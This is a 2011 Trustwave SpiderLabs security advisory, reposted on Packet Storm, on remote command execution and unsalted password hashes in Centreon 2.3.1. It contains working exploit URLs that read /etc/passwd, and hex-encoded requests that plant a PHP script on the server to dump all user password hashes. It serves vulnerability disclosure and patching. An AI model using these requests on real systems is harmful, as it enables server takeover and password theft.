Merethis Centreon 2.3.1 Code Execution

2011-11-08T00:00:00
ID PACKETSTORM:106714
Type packetstorm
Reporter Christophe de la Fuente
Modified 2011-11-08T00:00:00

Description

                                        
                                            `Trustwave's SpiderLabs Security Advisory TWSL2011-017:  
Multiple Vulnerabilities in Merethis Centreon  
  
https://www.trustwave.com/spiderlabs/advisories/TWSL2011-017.txt  
  
Published: 2011-11-04  
Version: 1.0  
  
Vendor: Merethis (http://www.merethis.com and http://www.centreon.com)  
Product: Centreon  
Version affected: 2.3.1 and prior  
  
Product description:  
Centreon is network supervision and monitoring tool that is based upon  
the Nagios open source monitoring engine. Centreon can be used as a  
Nagios GUI and it can provide such features as real time system  
monitoring, performance management and system management.  
  
Credit: Christophe De La Fuente of Trustwave SpiderLabs  
  
Finding 1: Remote Command Execution  
  
Centreon supervision and monitoring tool provided by Merethis permits  
remote code execution from the command help web page allowing an  
attacker to execute arbitrary commands in the context of the webserver  
hosting the application. Any account that has been granted the access  
to "Configuration > Nagios > Checks" is able to execute commands.  
  
The following Proof of Concept (PoC) executes the command  
'cat /etc/passwd':  
  
http://example.domain/centreon/main.php?p=60706&command_name=/Centreon/SNMP/../../../../bin/cat%20/etc/passwd%20%23&o=h&min=1  
  
Finding 2: One-Way Hash Without a Salt  
  
The following code at lines 329-349 from  
www/include/configuration/nconfigObject/contact/DB-Func.php  
shows the insertContactInDB() function inserting the MD5 or SHA1  
password hash in the database without using a salt:  
  
$rq = "INSERT INTO `contact` ( " .  
"`contact_id` , `timeperiod_tp_id` , `timeperiod_tp_id2` ,  
`contact_name` , " . "`contact_alias` , `contact_autologin_key` ,  
`contact_passwd` , `contact_lang` , `contact_template_id`, " .  
"`contact_host_notification_options` ,  
`contact_service_notification_options` , " . "`contact_email` ,  
`contact_pager` , `contact_comment` , `contact_oreon`,  
`contact_register`, `contact_enable_notifications` , " .  
"`contact_admin` , `contact_type_msg`, `contact_activate`,  
`contact_auth_type`, " . "`contact_ldap_dn`, `contact_location`,  
`contact_address1`, `contact_address2`, " . "`contact_address3`,  
`contact_address4`, `contact_address5`, `contact_address6`)" .  
"VALUES ( ";  
$rq .= "NULL, "; isset($ret["timeperiod_tp_id"]) && $ret["timeperiod_tp_id"]  
!= NULL ? $rq .= "'".$ret["timeperiod_tp_id"]."', ": $rq .= "NULL, ";  
isset($ret["timeperiod_tp_id2"]) && $ret["timeperiod_tp_id2"] != NULL ? $rq  
.= "'".$ret["timeperiod_tp_id2"]."', ": $rq .= "NULL, ";  
isset($ret["contact_name"]) && $ret["contact_name"] != NULL ? $rq .=  
"'".htmlentities($ret["contact_name"], ENT_QUOTES, "UTF-8")."', ": $rq .=  
"NULL, ";---isset($ret["contact_alias"]) && $ret["contact_alias"] != NULL ?  
$rq .= "'".htmlentities($ret["contact_alias"], ENT_QUOTES, "UTF-8")."', ":  
$rq .= "NULL, "; isset($ret["contact_autologin_key"]) &&  
$ret["contact_autologin_key"] != NULL ? $rq .=  
"'".htmlentities($ret["contact_autologin_key"], ENT_QUOTES)."', ": $rq .=  
"NULL, "; if ($encryptType == 1)  
isset($ret["contact_passwd"]) && $ret["contact_passwd"] != NULL ? $rq .=  
"'".md5($ret["contact_passwd"])."', ": $rq .= "NULL, ";  
else if ($encryptType == 2)  
isset($ret["contact_passwd"]) && $ret["contact_passwd"] != NULL ? $rq .=  
"'".sha1($ret["contact_passwd"])."', ": $rq .= "NULL, ";  
else  
isset($ret["contact_passwd"]) && $ret["contact_passwd"] != NULL ? $rq .=  
"'".md5($ret["contact_passwd"])."', ": $rq .= "NULL, ";  
  
  
The combination of unsalted hashes and Finding 1 allows an attacker to  
recover passwords for all accounts. The following example illustrates  
this attack.  
  
The following php code will dump the hashes of all users:  
  
<?php require_once ("/etc/centreon/centreon.conf.php"); require_once "$classdir/centreonDB.class.php"; $p=new CentreonDB(); $r=$p->query("SELECT contact_passwd from centreon.contact"); while ($w=&$r->fetchRow()) {echo $w["contact_passwd"] . "<br>";} ?>  
  
To upload and execute this code on the server, one method is to convert  
the above php code to hexadecimal and use the remote code execution  
method outlined in Finding 1 to create a server-side php file. The  
length of the URL accepted in this case is limited, so the file must  
be broken into three parts. The following requests create the php  
file "test.php":  
  
http://example.domain/centreon/main.php?p=60706&command_name=/Centreon/SNMP/../../../../usr/bin/printf%20\\x3c\\x3f\\x70\\x68\\x70\\x20\\x72\\x65\\x71\\x75\\x69\\x72\\x65\\x5f\\x6f\\x6e\\x63\\x65\\x20\\x28\\x22\\x2f\\x65\\x74\\x63\\x2f\\x63\\x65\\x6e\\x74\\x72\\x65\\x6f\\x6e\\x2f\\x63\\x65\\x6e\\x74\\x72\\x65\\x6f\\x6e\\x2e\\x63\\x6f\\x6e\\x66\\x2e\\x70\\x68\\x70\\x22\\x29\\x3b\\x20\\x72\\x65\\x71\\x75\\x69\\x72\\x65\\x5f\\x6f\\x6e\\x63\\x65\\x20\\x22\\x24\\x63\\x6c\\x61\\x73\\x73\\x64\\x69\\x72\\x2f\\x63\\x65\\x6e\\x74%20|tee%20-a%20test.php%20%23&o=h&min=1  
  
http://example.domain/centreon/main.php?p=60706&command_name=/Centreon/SNMP/../../../../usr/bin/printf%20\\x72\\x65\\x6f\\x6e\\x44\\x42\\x2e\\x63\\x6c\\x61\\x73\\x73\\x2e\\x70\\x68\\x70\\x22\\x3b\\x20\\x24\\x70\\x3d\\x6e\\x65\\x77\\x20\\x43\\x65\\x6e\\x74\\x72\\x65\\x6f\\x6e\\x44\\x42\\x28\\x29\\x3b\\x20\\x24\\x72\\x3d\\x24\\x70\\x2d\\x3e\\x71\\x75\\x65\\x72\\x79\\x28\\x22\\x53\\x45\\x4c\\x45\\x43\\x54\\x20\\x63\\x6f\\x6e\\x74\\x61\\x63\\x74\\x5f\\x70\\x61\\x73\\x73\\x77\\x64\\x20\\x66\\x72\\x6f\\x6d\\x20\\x63\\x65\\x6e%20|tee%20-a%20test.php%20%23&o=h&min=1  
  
http://example.domain/centreon/main.php?p=60706&command_name=/Centreon/SNMP/../../../../usr/bin/printf%20\\x74\\x72\\x65\\x6f\\x6e\\x2e\\x63\\x6f\\x6e\\x74\\x61\\x63\\x74\\x22\\x29\\x3b\\x20\\x77\\x68\\x69\\x6c\\x65\\x20\\x28\\x24\\x77\\x3d\\x26\\x24\\x72\\x2d\\x3e\\x66\\x65\\x74\\x63\\x68\\x52\\x6f\\x77\\x28\\x29\\x29\\x20\\x7b\\x65\\x63\\x68\\x6f\\x20\\x24\\x77\\x5b\\x22\\x63\\x6f\\x6e\\x74\\x61\\x63\\x74\\x5f\\x70\\x61\\x73\\x73\\x77\\x64\\x22\\x5d\\x20\\x2e\\x20\\x22\\x3c\\x62\\x72\\x3e\\x22\\x3b\\x7d\\x20\\x3f\\x3e%20|tee%20-a%20test.php%20%23&o=h&min=1  
  
Execution of http://example.domain/centreon/test.php will provide  
the unsalted hashes. Using rainbow tables, these passwords can be  
reversed, the time and size of rainbow table required dependent on  
the complexity of the passwords involved.  
  
  
Remediation Steps:  
Customers should upgrade to version 2.3.2 in order to remediate these  
issues.  
  
Revision History:  
10/19/11 - Vulnerability Disclosed  
11/02/11 - Patch released  
11/04/11 - Advisory Published  
  
References  
1. http://www.merethis.com  
2. http://www.centreon.com  
  
  
About Trustwave: Trustwave is the leading provider of on-demand and  
subscription-based information security and payment card industry  
compliance management solutions to businesses and government entities  
throughout the world. For organizations faced with today's challenging  
data security and compliance environment, Trustwave provides a unique  
approach with comprehensive solutions that include its flagship  
TrustKeeper compliance management software and other proprietary  
security solutions. Trustwave has helped thousands of organizations --  
ranging from Fortune 500 businesses and large financial institutions  
to small and medium-sized retailers--manage compliance and secure their  
network infrastructure, data communications and critical information  
assets. Trustwave is headquartered in Chicago with offices throughout  
North America, South America, Europe, Africa, China and Australia.  
For more information, visit https://www.trustwave.com  
  
About Trustwave's SpiderLabs: SpiderLabs(R) is the advanced security  
team at Trustwave focused on application security, incident response,  
penetration testing, physical security and security research. The team  
has performed over a thousand incident investigations, thousands of  
penetration tests and hundreds of application security tests globally.  
In addition, the SpiderLabs Research team provides intelligence through  
bleeding-edge research and proof of concept tool development to enhance  
Trustwave's products and services.  
https://www.trustwave.com/spiderlabs  
  
Disclaimer: The information provided in this advisory is provided "as is"  
without warranty of any kind. Trustwave disclaims all warranties,  
either express or implied, including the warranties of merchantability  
and fitness for a particular purpose. In no event shall Trustwave or  
its suppliers be liable for any damages whatsoever including direct,  
indirect, incidental, consequential, loss of business profits or  
special damages, even if Trustwave or its suppliers have been advised  
of the possibility of such damages. Some states do not allow the  
exclusion or limitation of liability for consequential or incidental  
damages so the foregoing limitation may not apply.  
  
This transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format.  
  
`